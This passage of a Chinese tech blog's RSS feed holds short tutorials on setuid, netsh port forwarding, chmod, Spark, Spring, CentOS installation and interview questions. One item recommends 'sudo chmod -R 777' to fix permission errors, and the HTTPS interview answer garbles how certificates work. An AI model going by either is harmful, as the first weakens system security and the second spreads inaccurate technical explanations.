为什么需要setuid位：&#xA;首先明确setuid的作用是：执行该设置后，文件执行时将以文件拥有者的身份执行，而非普通用户的身份。&#xA;以普通用户的身份登录操作系统，通过whoami命令查看当前用户：&#xA;通过which命令查看passwd、sudo、ping文件所在位置：&#xA;通过ls -all查看这些文件的详细信息：&#xA;从上图可以看出passwd、sudo和ping的文件拥有者是root，即超级用户，所属用户组是root，并且都设置了SUID。&#xA;当其他的普通用户执行passwd、sudo和ping时，由于不是root，无法执行这些文件。而setuid之后，普通用户便可以临时以文件拥有者root的身份执行这些文件。所以passwd、sudo和ping等命令需要setuid。&#xA;② 去掉uid位&#xA;通过chmod命令移除passwd、sudo和ping文件的setuid：&#xA;移除setuid后再以普通用户的身份执行这些命令，发现这些命令全部都无法执行：&#xA;③ 恢复uid位&#xA;由于恢复passwd和ping的setuid时需要使用sudo，故应先恢复sudo。&#xA;在重启系统时按下ESC键，进入GNU GRUB界面，选择Advanced options for Ubuntu：&#xA;再选择一个recovery mode：&#xA;选择root，进入最高级管理员的shell界面，输入chmod u+s /usr/bin/sudo恢复sudo的setuid：&#xA;继续在shell界面输入exit退回上一个界面，选择resume，回车重启系统。&#xA;通过sudo+chmod恢复passwd和ping的setuid：&#xA;重新添加权能后上述三个命令又可以正常运行了：</description>
    </item>
    <item>
      <title>大厂面试题集合之蚂蚁一面</title>
      <link>https://bchobby.github.io/posts/6f8fa927eb7a95e62ce1ea69bb89fa25/</link>
      <pubDate>Tue, 26 Dec 2023 14:27:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f8fa927eb7a95e62ce1ea69bb89fa25/</guid>
      <description>二叉搜索树和平衡二叉树有什么关系？ 平衡二叉树也叫做平衡二叉搜索树，是二叉搜索树的升级版，二叉搜索树是指节点左边的所有节点都比该节点小，节点右边的节点都比该节点大，而平衡二叉搜索树是在二叉搜索的基础上还规定了节点左右两边的子树高度差的绝对值不能超过1&#xA;强平衡二叉树和弱平衡二叉树有什么区别 强平衡二叉树AVL树，弱平衡二叉树就是我们说的红黑树。&#xA;AVL树比红黑树对于平衡的程度更加严格，在相同节点的情况下，AVL树的高度低于红黑树红黑树中增加了一个节点颜色的概念AVL树的旋转操作比红黑树的旋转操作更耗时 B树和B+树的区别，为什么MySQL使用B+树 B树的特点：&#xA;节点排序一个节点可以存多个元素，多个元素也排序了 B+树的特点：&#xA;拥有B树的特点叶子节点之间有指针非叶子节点的元素在叶子节点上都冗余了，也就是叶子节点中存储了所有的元素，并且排好顺序 MySQL索引使用的是B+树，因为索引是用来加快查询的，而B+树通过对数据进行排序所以是可以提高查询速度的，然后通过一个节点中可以存储多个元素，从而可以使得B+树的高度不会太高，在MySQL中InnoDB页就是一个B+树节点，一个InnoDB页默认16kb，所以一般情况下一颗两层的B+树可以存储2000万行左右的数据，然后通过利用B+树叶子节点存储了所有数据并且进行了排序，并且叶子节点之间有指针，可以很好的支持全表扫描，范围查找等SQL语句。&#xA;epoll和poll的区别 select模型：使用的是数组来存储Socket连接文件描述符，容量是固定的，需要通过轮询来判断是否发生了IO事件poll模型：使用的是链接来存储Socket连接文件描述符，容量是不固定的，同样需要通过轮询来判断是否发生了IO事件epoll模型：epoll和poll是完全不同的，epoll是一种事件通知模型，当发生了IO事件时，应用程序才进行IO操作，不需要poll模型那样主动去轮询 简述线程池原理，知道FixedThreadPool用的阻塞队列是什么嘛？ 线程池内部是通过队列+线程实现的，当我们利用线程池执行任务的时候：&#xA;如果此时线程池中的数量小于corePoolSize，即使线程池中的线程都处于空闲状态，也要创建新的线程来处理被添加的任务。如果此时线程池中的数量等于corePoolSize，但是缓冲队列workQueue未满，那么任务被放入缓冲队列中。如果此时线程池中的数量大于等于corePoolSize，缓冲队列workQueue已满，并且线程池中的数量小于maximumPoolSize，则会创建新的线程来处理被添加的任务。如果此时线程池中的数量大于corePoolSize，缓冲队列workQueue已满，并且线程池中的数量等于maximumPoolSize，那么通过handler所指定的策略来处理此任务。当线程池中的线程数量大于corePoolSize时，如果某线程空闲时间超过keepAliveTime，线程将被终止。这样，线程池可以动态的调整池中的线程数。 FixedThreadPool代表的是定长线程池，底层用的是LinkedBlockingQueue，表示无界的阻塞队列。&#xA;Synchronized和ReentranLock的区别知道嘛？ Synchronized是一个关键字，ReetrantLock是一个Java类。Synchronized会自动地加锁与释放锁，ReetrantLock需要程序员的手动加锁和释放锁。Synchronized的底层是JVM层面的锁，ReentranLock是API层面的锁。Synchronized是非公平锁，ReentrantLock可以选择公平锁或非公平锁。Synchronized锁的是对象，锁信息保存在对象头中，ReetrantLock通过代码中的int类型的state标识来标识锁的状态。Synchronized底层有一个锁升级的过程。 Sychronized的自旋锁、偏向锁、轻量级锁、重量级锁，分别介绍和联系 偏向锁：在锁对象的对象头中记录一下当前获取到该锁的线程ID，该线程下次如果又来获取该锁就可以直接获取到了轻量级锁：由偏向锁升级而来，当一个线程获取到锁后，此时这把锁是偏向锁，此时如果有第二个线程来竞争锁，偏向锁就会升级为轻量级锁，之所以叫轻量级锁，是为了和重量级锁区分开来，轻量级锁底层是通过自旋来实现的，并不会阻塞线程如果自旋次数过多仍然没有获取到锁，则会升级为重量级锁，重量级锁会导致线程阻塞自旋锁：自旋锁就是线程在获取锁的过程中，不会去阻塞线程，也就无所谓唤醒线程，阻塞和唤醒这两个步骤都是需要操作系统去进行的，比较消耗时间，自旋锁是线程通过CAS获取预期的一个标记，如果没有获取到，则继续循环获取，如果获取到了则表示获取到了锁，这个过程线程一直在运行中，相对而言没有使用太多的操作系统资源，比较轻量。 HTTPS是如何保证安全传输的 Https通过使用对称加密、非对称加密、数字证书等方式来保证数据的安全传输。&#xA;客户端向服务端发送数据之前，需要先建立TCP连接，所以需要先建立TCP连接，建立完TCP连接后，服务端会先给客户端发送公钥，客户端拿到公钥后就可以用来加密数据了，服务端到时候接收到数据就可以用私钥解密数据，这种就是通过非对称加密来传输数据。不过非对称加密对比对称加密要慢，所以不能直接使用非对称加密来传输数据，所以可以通过非对称加密的方式来传输对称加密的密钥，之后就可以使用对称加密来传输请求数据了。但是仅仅通过非对称加密+对称加密还不足以能保证数据传输的绝对安全性，因为服务端向客户端发送公钥时，可能会被截取。所以为了安全的传输公钥，需要用到数字证书，数字证书具有公信力、大家都认可的，服务端向客户端发送公钥时，可以把公钥和服务端相关信息通过Hash算法生成消息摘要，再通过数字证书提供的私钥对消息摘要进行加密生成数字签名，在把没进行Hash算法之前的信息和数字签名已经形成数字证书。最后把数字证书发送给客户端，客户端收到数字证书之后，就会通过数字证书提供的公钥来解密数字证书，从而得到非对称加密要用到的公钥。在这个过程中，就算有中间人拦截到服务器发送出来的数字证书，虽然它可以解密得到非对称加密要使用的公钥，但是中间人时没办法伪造数字证书发送给客户端的，因为客户端上内嵌的数字证书时全球具有公信力的。某个网站如果要支持https，都是需要申请数字证书的私钥的，中间人如果要生成能被客户端解析的数字证书，也是要申请私钥的，所以是比较安全了。 本文福利， 免费领取C/C++ 开发学习资料包、技术视频/代码，1000道大厂面试题，内容包括（C++基础，网络编程，数据库，中间件，后端开发/音视频开发/Qt开发/游戏开发/Linuxn内核等进阶学习资料和最佳学习路线）↓↓↓↓↓↓见下面↓↓文章底部点击免费领取↓↓</description>
    </item>
    <item>
      <title>游戏服务器选择高防服务器的好处</title>
      <link>https://bchobby.github.io/posts/0a9f6495d7ca58d22622a28ed28e3dd4/</link>
      <pubDate>Tue, 26 Dec 2023 14:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a9f6495d7ca58d22622a28ed28e3dd4/</guid>
      <description>游戏服务器选择高防服务器的好处&#xA;1.保障游戏的正常运行&#xA;目前游戏行业深受很多用户的喜爱，但也存在众多的恶意网络攻击，游戏服务商深受其害。一旦遭受了网络攻击，轻者游戏体验感变差，重者游戏玩家无法访问，对游戏服务商的危害是巨大的。如果游戏服务商采用了高防服务器，就能对网络攻击进行防御和流量清洗，保障游戏的正常运行。&#xA;2.服务器配置突出&#xA;针对高防御的服务器，其配置都是很高的。在服务器的cpu、内存、硬盘等方面都比普通的服务器更具优势，在数据处理和响应层面更快速。这能为游戏玩家创造流畅的使用环境，在游戏同行之间也更有竞争优势。&#xA;3.网络资源丰富&#xA;高防服务器是需要丰富的带宽资源来支撑的。因此，在使用高防服务器租用的时候，网络带宽一定是经过线路优化的，访问更快，网速也更稳定，这能提升游戏玩家的体验感。</description>
    </item>
    <item>
      <title>Windows使用netsh命令端口映射</title>
      <link>https://bchobby.github.io/posts/88cd2d6d7712c6a2c38a069afa0c8db2/</link>
      <pubDate>Tue, 26 Dec 2023 14:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88cd2d6d7712c6a2c38a069afa0c8db2/</guid>
      <description>显示所有的端口映射信息：&#xA;netsh interface portproxy show all&#xA;添加端口映射：&#xA;netsh interface portproxy add v4tov4 listenaddress=监听地址 listenport=监听端口 connectaddress=映射IP connectport=映射端口&#xA;删除端口映射：&#xA;netsh interface portproxy delete v4tov4 listenaddress=监听地址 listenport=监听端口&#xA;注：要以管理员的身份运行cmd窗口&#xA;参考 代理转发与隧道应用</description>
    </item>
    <item>
      <title>rpm 版本问题处理</title>
      <link>https://bchobby.github.io/posts/3b0e01501d4b9fd9e5ec3997848e786d/</link>
      <pubDate>Tue, 26 Dec 2023 13:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b0e01501d4b9fd9e5ec3997848e786d/</guid>
      <description>rpm 版本问题处理 错误信息 错误原因 rpm 升级过，本来应该是rpm-4.11.3-45.el7 版本但现在变成了rpm-4.11.3-48.el7_9.x86_64，所以rpm-python-4.11.3-45.el7.x86_64.rpm无法安装，需要 rpm-4.11.3-45.el7 解决方案 下载 rpm-4.11.3-45.el7 清华大学开源镜像网站： 清华大学开源镜像网站&#xA;– 右键复制链接下载即可&#xA;下载 rpm-python-4.11.3-48.el7_9.x86_64.rpm 官方镜像网站： 官方镜像网站 – 右键复制链接下载即可</description>
    </item>
    <item>
      <title>Spark的生态系统概览：Spark SQL、Spark Streaming</title>
      <link>https://bchobby.github.io/posts/c39ac6f09e3eb85c216c1d6540bbc097/</link>
      <pubDate>Tue, 26 Dec 2023 13:37:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c39ac6f09e3eb85c216c1d6540bbc097/</guid>
      <description>Apache Spark是一个强大的分布式计算框架，用于大规模数据处理。Spark的生态系统包括多个组件，其中两个重要的组件是Spark SQL和Spark Streaming。本文将深入探讨这两个组件，了解它们的功能、用途以及如何在Spark生态系统中使用它们。&#xA;Spark SQL Spark SQL是Spark生态系统中的一个核心组件，它提供了结构化数据处理的能力，允许以SQL查询方式分析和操作数据。Spark SQL具有以下重要特性：&#xA;1 结构化数据处理 Spark SQL可以处理各种结构化数据，包括JSON、Parquet、Avro、ORC等数据格式，以及关系型数据库中的数据。这使得它非常适用于大数据分析和ETL（抽取、转换、加载）任务。&#xA;2 DataFrame API Spark SQL引入了DataFrame API，这是一个类似于关系型数据库表的数据结构，可以轻松进行数据操作和转换。DataFrame API提供了丰富的操作函数，允许执行过滤、聚合、排序等数据操作，同时还支持用户自定义函数（UDF）。&#xA;3 与Hive的整合 Spark SQL与Apache Hive集成得非常好，可以查询Hive表并将查询结果作为DataFrame返回。这使得现有的Hive用户可以无缝迁移到Spark平台，并继续使用他们熟悉的查询语言。&#xA;4 示例代码：使用Spark SQL分析数据 通过一个简单的示例代码来演示如何使用Spark SQL来分析数据。假设有一个存储在Parquet格式中的用户日志数据，想要统计每个用户的访问次数：&#xA;from pyspark.sql import SparkSession # 创建SparkSession spark = SparkSession.builder.appName(&#34;SparkSQLExample&#34;).getOrCreate() # 读取Parquet文件为DataFrame user_logs = spark.read.parquet(&#34;hdfs://&amp;lt;HDFS_MASTER&amp;gt;:&amp;lt;HDFS_PORT&amp;gt;/path/to/user_logs&#34;) # 使用Spark SQL查询 user_logs.createOrReplaceTempView(&#34;logs&#34;) result = spark.sql(&#34;SELECT user_id, COUNT(*) as visit_count FROM logs GROUP BY user_id&#34;) # 显示查询结果 result.show() Spark Streaming Spark Streaming是Spark生态系统中用于实时数据处理的组件，它允许以微批次的方式处理实时数据流。以下是Spark Streaming的关键特性：&#xA;1 高吞吐量 Spark Streaming可以处理高吞吐量的数据流，如日志文件、传感器数据、社交媒体流等。它能够在短时间内处理大量数据，适用于需要快速响应的应用场景。</description>
    </item>
    <item>
      <title>C&#43;&#43;篇 memset() 函数 数组初始化</title>
      <link>https://bchobby.github.io/posts/3233bf30af8d1473dfe8844a58697ac0/</link>
      <pubDate>Tue, 26 Dec 2023 13:03:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3233bf30af8d1473dfe8844a58697ac0/</guid>
      <description>#include&amp;lt;cstring&amp;gt; int a[1024]; memset(a,1,sizeof(a)); a数组元素值将全部初始化为16843009，为什么会这样呢？&#xA;memset()函数原理是对内存块中字节元素进行初始化，上述代码中每字节将初始化为十六进制下ox01，(1字节=8bit ox01=0000 0001)，int类型为4字节（32bit），故a[i]=ox01 01 01 01转化为十进制为16843009。&#xA;所以我们在使用memset()函数时通常将初始化值设为0，即&#xA;memset(a,0,sizeof(a)); 即使经过计算机内部硬件转化 初始化仍未0。（ox00 00 00 00 == 0）</description>
    </item>
    <item>
      <title>Mac 修改报错Permission denied、chmod命令详细用法</title>
      <link>https://bchobby.github.io/posts/8a17b0c3c5bc3fc604f696508e6d368c/</link>
      <pubDate>Tue, 26 Dec 2023 12:03:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a17b0c3c5bc3fc604f696508e6d368c/</guid>
      <description>报错信息 Permission denied 解决方案 一、给文件加权限&#xA;一个文件有3种权限，读、写、可执行，Permission denied就是没有可执行权限，所以需要加上可执行权限。&#xA;进入终端先 cd 到该文件的目录下执行命令 chmod a+x ./文件名 二、赋予文件夹权限&#xA;sudo chmod -R 777 目录路径 其中 -R 是指级联应用到目录里的所有子目录和文件&#xA;777 是所有用户都拥有最高权限&#xA;chmod命令详细用法 使用方式 :&#xA;chmod [-cfvR] [--help] [--version] mode file... 说明 : Linux/Unix 的档案调用权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所调用。&#xA;参数 :&#xA;mode : 权限设定字串，格式如下 : [ugoa...][[+-=][rwxX]...][,...]，其中 u 表示该档案的拥有者，g 表示与该档案的拥有者属于同一个群体(group)者，o 表示其他以外的人，a 表示这三者皆是。 + 表示增加权限、- 表示取消权限、= 表示唯一设定权限。 r 表示可读取，w 表示可写入，x 表示可执行，X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 -c : 若该档案权限确实已经更改，才显示其更改动作 -f : 若该档案权限无法被更改也不要显示错误讯息 -v : 显示权限变更的详细资料 -R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更) --help : 显示辅助说明 --version : 显示版本 [ u/g/o/a ]说明uuser 表示该文件的所有者ggroup 表示与该文件的所有者属于同一组( group )者，即用户组oother 表示其他以外的人aall 表示这三者皆是 [ + - = ]说明+增加权限-取消权限=唯一设定权限 rwxX说明rread 表示可读取，对于一个目录，如果没有r权限，那么就意味着不能通过ls查看这个目录的内容。wwrite 表示可写入，对于一个目录，如果没有w权限，那么就意味着不能在目录下创建新的文件。xexcute 表示可执行，对于一个目录，如果没有x权限，那么就意味着不能通过cd进入这个目录。X表示只有当该档案是个子目录或者该档案已经被设定过为可执行。 名称说明-c若该档案权限确实已经更改，才显示其更改动作-f若该档案权限无法被更改也不要显示错误讯息-v显示权限变更的详细资料-R对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)–help显示辅助说明–version显示版本 范例：将档案 file1.</description>
    </item>
    <item>
      <title>操作系统：linux（在虚拟机上详细步骤安装）Centos</title>
      <link>https://bchobby.github.io/posts/6e94e2c5a2adab698dbbce731d3a05b2/</link>
      <pubDate>Tue, 26 Dec 2023 11:53:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e94e2c5a2adab698dbbce731d3a05b2/</guid>
      <description>文章目录 前言：一、如何在自己的电脑上安装centos?二、在虚拟机上安装centos2.1安装步骤： 前言： 操作系统有：windows server 不开源的收费的、linux 开源的免费的，精简安装（没有UI)。国产的操作系统有：银河麒麟、中标麒麟、统信UOS,但是都是基于linux再开发的。 一、如何在自己的电脑上安装centos? 1.刷机&#xA;大部分人都不愿意的。2.虚拟机软件。（VMware）虚拟机安装系统需要的对应的镜像：&#xA;centos选择7.0&#xA;镜像下载去清华大学镜像站。点击去清华大学镜像站&#xA;下载的时候建议选择完整版不要选择最小版。 二、在虚拟机上安装centos 2.1安装步骤： 第一步先打开虚拟机并创建新的虚拟机：&#xA;第二步建议选择自定义然后下一步：&#xA;第三步点击下一步：&#xA;第四步选择稍后安装：&#xA;第五步选择linux版本为centos 7&#xA;第六步给自己的虚拟机命名和存放的位置：&#xA;第七步给虚拟机配置处理器（根据自己的电脑配置来）&#xA;第八步根据自己电脑的内存多大来配置虚拟机的内存&#xA;第九步选择联网类型（NAT）&#xA;第十步点击下一步：&#xA;第十一步点击下一步：&#xA;第十二步点击下一步：&#xA;第十三步给虚拟机磁盘大小，选择将虚拟磁盘拆分成多个文件&#xA;第十四步点击下一步：&#xA;第十五步点击完成：&#xA;因为我前面选择的是稍后安装镜像，所以不要急着开启虚拟机。第十六步点击编辑虚拟机设置：&#xA;第十七步选择CD/DVD把镜像存放的位置放进去：&#xA;第十八步开启虚拟机：&#xA;第十九步选择&#xA;等待安装：&#xA;第二十步选择中文：&#xA;第二十一步选择软件安装再选择桌面：&#xA;第二十二步点击安装位置选择它：&#xA;-第二十三步点击开始安装：&#xA;-第二十四步安装的时候可以去设置密码：&#xA;第二十五步点击重启：&#xA;第二十六步接受许可证：&#xA;要远程连接的话虚拟机必须要有网：第二十七步把以太网开关打开：&#xA;- 第二十八步点击完成配置就可以进桌面了：&#xA;选择语言&#xA;第二十九步设置用户名：&#xA;第三十步设置密码：&#xA;第三十一步点击开始使用&#xA;就装好啦</description>
    </item>
    <item>
      <title>利用策略模式与Spring Boot实现灵活的文件上传功能：多策略选择与动态实现</title>
      <link>https://bchobby.github.io/posts/2b524da82ab504c4f217f12f9fb8638b/</link>
      <pubDate>Tue, 26 Dec 2023 11:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b524da82ab504c4f217f12f9fb8638b/</guid>
      <description>当涉及文件上传功能时，使用策略模式是一个明智的选择。在Spring Boot中，您可以利用策略模式来实现文件的动态上传功能。这种模式允许您定义一系列的算法，将它们封装成独立的类，使得这些算法可以相互替换，而不影响客户端的使用。接下来，我将为您详细介绍如何在Spring Boot中实现这一点。&#xA;**&#xA;1. 定义接口和策略类 **&#xA;首先，创建一个接口来定义文件上传的策略：&#xA;public interface FileUploadStrategy { void uploadFile(MultipartFile file); } 然后，实现该接口来创建具体的上传策略类：&#xA;@Service public class LocalFileUploadStrategy implements FileUploadStrategy { @Override public void uploadFile(MultipartFile file) { // 实现本地文件上传逻辑 } } @Service public class CloudFileUploadStrategy implements FileUploadStrategy { @Override public void uploadFile(MultipartFile file) { // 实现云端文件上传逻辑 } } 2. 创建策略选择器 接下来，创建一个策略选择器，用于根据条件选择合适的上传策略：&#xA;@Component public class FileUploadStrategySelector { private final Map&amp;lt;String, FileUploadStrategy&amp;gt; strategies; public FileUploadStrategySelector(List&amp;lt;FileUploadStrategy&amp;gt; strategyList) { this.strategies = strategyList.</description>
    </item>
    <item>
      <title>AOSP 下载编译Linux内核源码，各个发行版本号都有(官方文档)</title>
      <link>https://bchobby.github.io/posts/3defb46c400344529b8a1aadcd66ac5a/</link>
      <pubDate>Tue, 26 Dec 2023 11:38:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3defb46c400344529b8a1aadcd66ac5a/</guid>
      <description> 官方文档，不需要科学上网：&#xA;构建内核 | Android 开源项目 | Android Open Source Project&#xA;查看官方文档不需要科学上网，但是下载内核源码需要；&#xA;如果没办法科学上网可以通过清华源下载：&#xA;git clone https://aosp.tuna.tsinghua.edu.cn/android/kernel/goldfish.git cd goldfish #查看分支 git branch -a git checkout android-goldfish-4.14-gchips </description>
    </item>
    <item>
      <title>Java 将PDF 转为图片 工具 【Free Spire.PDF for Java】（免费版）</title>
      <link>https://bchobby.github.io/posts/49245d9c0f8e7611a6666936a9d3e241/</link>
      <pubDate>Tue, 26 Dec 2023 11:20:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49245d9c0f8e7611a6666936a9d3e241/</guid>
      <description>Java 将PDF 转为图片 使用工具：Free Spire.PDF for Java（免费版） Jar文件获取及导入：&#xA;方法1：通过官网下载jar文件包。下载后，解压文件，并将lib文件夹下的Spire.Pdf.jar文件导入Java程序。&#xA;方法2：可通过maven仓库安装导入。参考导入方法。&#xA;&amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;com.e-iceblue&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;e-iceblue&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://repo.e-iceblue.cn/repository/maven-public/&amp;lt;/url&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;e-iceblue&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spire.pdf.free&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Java代码示例 public class PdfToImageExample { public static void main(String[] args) { //程序的逻辑代码 String pdfFilePath = &#34;D:\\Users\\65720\\Desktop\\电信项目-方案\\文艺\\勇罕\\勇罕\\勇罕 2022年 第 4 期.pdf&#34;; // 替换为您的PDF文件路径 String outputImagePath = &#34;D:\\Users\\65720\\Desktop\\电信项目-方案\\文艺\\book\\fc5484fd24b72fb25bd57adf57138d3d\\&#34;; // 保存为PNG格式的图片路径 spirePdfFree(pdfFilePath, outputImagePath); } private static void spirePdfFree(String pdfFilePath, String outputImagePath) { try { PdfDocument pdf = new PdfDocument(pdfFilePath); BufferedImage image; for (int i = 0; i &amp;lt; pdf.</description>
    </item>
    <item>
      <title>特殊的bug：element 0 of tensors does not require grad and does not have a grad_fn</title>
      <link>https://bchobby.github.io/posts/125a1f5d8642fb948d408582b6591005/</link>
      <pubDate>Tue, 26 Dec 2023 11:10:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/125a1f5d8642fb948d408582b6591005/</guid>
      <description>很多帖子都说了，设置requires_grad_()就行。&#xA;但是我这次遇到的不一样，设置了都不行。&#xA;我是这种情况，在前面设置了torch.no_grad():，又在这个的作用域下进行了requires_grad_()，这是不起作用的。&#xA;简单版：&#xA;with torch.no_grad(): model.eval() pos_embed = model(homo_data.x, homo_data.edge_index) .... pos_embed.requires_grad_()# 不起作用 .... 这样子直接看，傻瓜都不会犯错。而我这个就比较隐蔽了。。。&#xA;我的：&#xA;# file1.py with torch.no_grad(): pos_embed = model(homo_data.x, homo_data.edge_index) ... fun_A(pos_embed) ... # file2.py def fun_A(x): ... fun_B(x) ... # file3.py def fun_B(x): ... x.requires_grad_() # 由于x是在torch.no_grad中传过来的，所以不起作用 ... 就这样一直会报错element 0 of tensors does not require grad and does not have a grad_fn。&#xA;太坑了。&#xA;大家引以为鉴，看看出现这个情况没。</description>
    </item>
    <item>
      <title>Android保存WebView HTML源码</title>
      <link>https://bchobby.github.io/posts/ca0d57af53c83cf411f254da2f2c498a/</link>
      <pubDate>Tue, 26 Dec 2023 11:08:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca0d57af53c83cf411f254da2f2c498a/</guid>
      <description>import android.content.Context; import android.util.Log; import com.example.MyApplication; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; public class JavascriptInterface { @android.webkit.JavascriptInterface public void onReceivedSource(String source) { Log.d(&#34;WebViewSource&#34;, source); saveHtmlToFile(source, &#34;saveFile&#34;); } private void saveHtmlToFile(String htmlContent, String fileName) { try { // 获取应用的 data 目录 Context context = MyApplication.getContext(); String filePath = context.getFilesDir().getPath() + &#34;/&#34; + fileName; // 使用 FileOutputStream 和 OutputStreamWriter 将 HTML 写入文件 FileOutputStream fileOutputStream = new FileOutputStream(filePath); OutputStreamWriter outputStreamWriter = new OutputStreamWriter(fileOutputStream); outputStreamWriter.</description>
    </item>
    <item>
      <title>给软件行业带来了春天——揭秘Spring究竟是何方神圣（一）</title>
      <link>https://bchobby.github.io/posts/eb1259f153061503384b5733227f08f5/</link>
      <pubDate>Tue, 26 Dec 2023 10:55:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb1259f153061503384b5733227f08f5/</guid>
      <description>系列文章目录 给软件行业带来了春天——揭秘Spring究竟是何方神圣（一）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（二）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（三）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（四）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（五）&#xA;文章目录 系列文章目录简介Spring核心知识点SpringIOC创建对象方法一：调用无参数构造器创建对象方法二：调用有参构造方法来创建对象方法三：使用静态工厂方法创建对象方法四：使用实例工厂方法来创建对象方法五：使用实例工厂创建对象 DI依赖注入基于对象属性set方法进行注入利用构造器方式进行注入p名称空间注入集合类型属性注入util标签注入 bean的常见属性作用域生命周期自动装配 SpringBean的注解形式 简介 Spring是一个JavaEE开源的轻量级别的框架，可以解决我们企业开发中遇到的难题，能够让编码变的更加简单，核心组件IOC容器和Aop面向切面编程。 spring优点：&#xA;方便解耦，简化开发管理对象集成其他框架Junit单元测试方便进行事务操作降低API开发难度 spring框架图&#xA;Spring 是模块化的。&#xA;Core 容器&#xA;Core 容器由 Core、Beans、Context 和 Expression Language 模块组成。&#xA;Core 模块提供了框架的基本部分，包括 IoC 和依赖注入功能。Bean 模块提供了 BeanFactory，它是工厂模式的一个复杂的实现。Context 模块建立在 Core 和 Beans 模块提供的坚实基础之上，它是访问任何已定义和配置的对象的媒介。 ApplicationContext 接口是上下文模块的焦点。SpEL 模块提供了一种强大的表达式语言，用于在运行时查询和操作对象图。 数据访问/集成&#xA;数据访问/集成层由 JDBC、ORM、OXM、JMS 和 Transaction 事务模块组成。&#xA;JDBC 模块提供了一个 JDBC 抽象层，它消除了繁琐的 JDBC 相关编码的需要。ORM 模块为流行的对象关系映射 API 提供集成层，包括 JPA、JDO、Hibernate 和 iBatis。OXM 模块提供了一个抽象层，它支持 JAXB、Castor、XMLBeans、JiBX 和 XStream 的 Object/XML 映射实现。Java 消息传递服务 JMS 模块包含用于生成和使用消息的功能。Transaction 模块支持对实现特殊接口的类和所有 POJO 的编程和声明式事务管理。 Web</description>
    </item>
    <item>
      <title>给软件行业带来了春天——揭秘Spring究竟是何方神圣（二）</title>
      <link>https://bchobby.github.io/posts/0035378714484a26c548efddf812cfc2/</link>
      <pubDate>Tue, 26 Dec 2023 10:55:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0035378714484a26c548efddf812cfc2/</guid>
      <description>系列文章目录 给软件行业带来了春天——揭秘Spring究竟是何方神圣（一）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（二）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（三）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（四）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（五）&#xA;文章目录 系列文章目录AOP简介AOP底层原理JDK动态代理Cglib代理 Aop术语Aop实现 AOP简介 AOP（Aspect Oriented Programming） 意为：面向切面编程，通过预编译方式和运行期间动态代理实现程序功能的统一维护的一种技术。利用AOP可以对业务逻辑的各个部分进行隔离，从而使得业务逻辑各部分之间的耦合度降低，提高程序的可重用性，同时提高了开发的效率。通俗表示：不通过修改源代码方式，在主干功能中添加新的功能。&#xA;eg:登录功能和权限判断可以分离，权限判断的功能的有无不影响登录功能。&#xA;AOP底层原理 AOP：面向切面编程，一种编程思想。&#xA;AOP采取横向抽取机制，取代了传统纵向继承体系重复性代码的编写方式（性能监视、事务管理、安全检查、缓存,日志记录等）。&#xA;AOP就是要对目标进行代理对象的创建，AOP底层使用动态代理的：JDK动态代理和CGLIB动态代理。&#xA;动态代理和静态代理区别？&#xA;动态代理：在虚拟机内部，运行的时候，动态生成代理类(运行时生成，runtime生成) ，并不是真正存在的类。&#xA;静态代理：存在代理类 （例如：struts2 Action的代理类 ActionProxy）&#xA;简单来说：有接口，实现接口的类对象，无接口，继承类，创建子对象。&#xA;JDK动态代理 JDK动态代理：基于接口的代理，一定是基于接口，会生成目标对象的接口类型的子对象。&#xA;JDK动态代理的一般步骤如下：&#xA;1.创建被代理的接口和类；&#xA;2.实现InvocationHandler接口，对目标接口中声明的所有方法进行统一处理；&#xA;3.调用Proxy的静态方法，创建代理类并生成相应的代理对象；&#xA;实现原理：利用拦截器机制必须实现InvocationHandler接口中的invoke方法实现对我们的目标方法增强。&#xA;public class jdkproxy { public static void main(String[] args){ //创建接口实现类的代理对象 Class[] interfaces={UserDao.class}; /* proxy实现 调用newProxyInstance 方法 public static Object newProxyInstance(ClassLoader loader, Class&amp;lt;?&amp;gt;[] interfaces, InvocationHandler h) {} 返回 指定接口的代理类的实例， 三个参数： 1.类的加载器 2.增强方法所在的类，这个类实现的接口，支持多个接口，。 3.实现这个接口InvocationHandler，创建代理对象，写增强的部分 */ UserDaoImpl userDao=new UserDaoImpl(); UserDao userDao1=(UserDao) Proxy.</description>
    </item>
    <item>
      <title>给软件行业带来了春天——揭秘Spring究竟是何方神圣（五）</title>
      <link>https://bchobby.github.io/posts/1a8db6789cb63fa49478bb16bee2f760/</link>
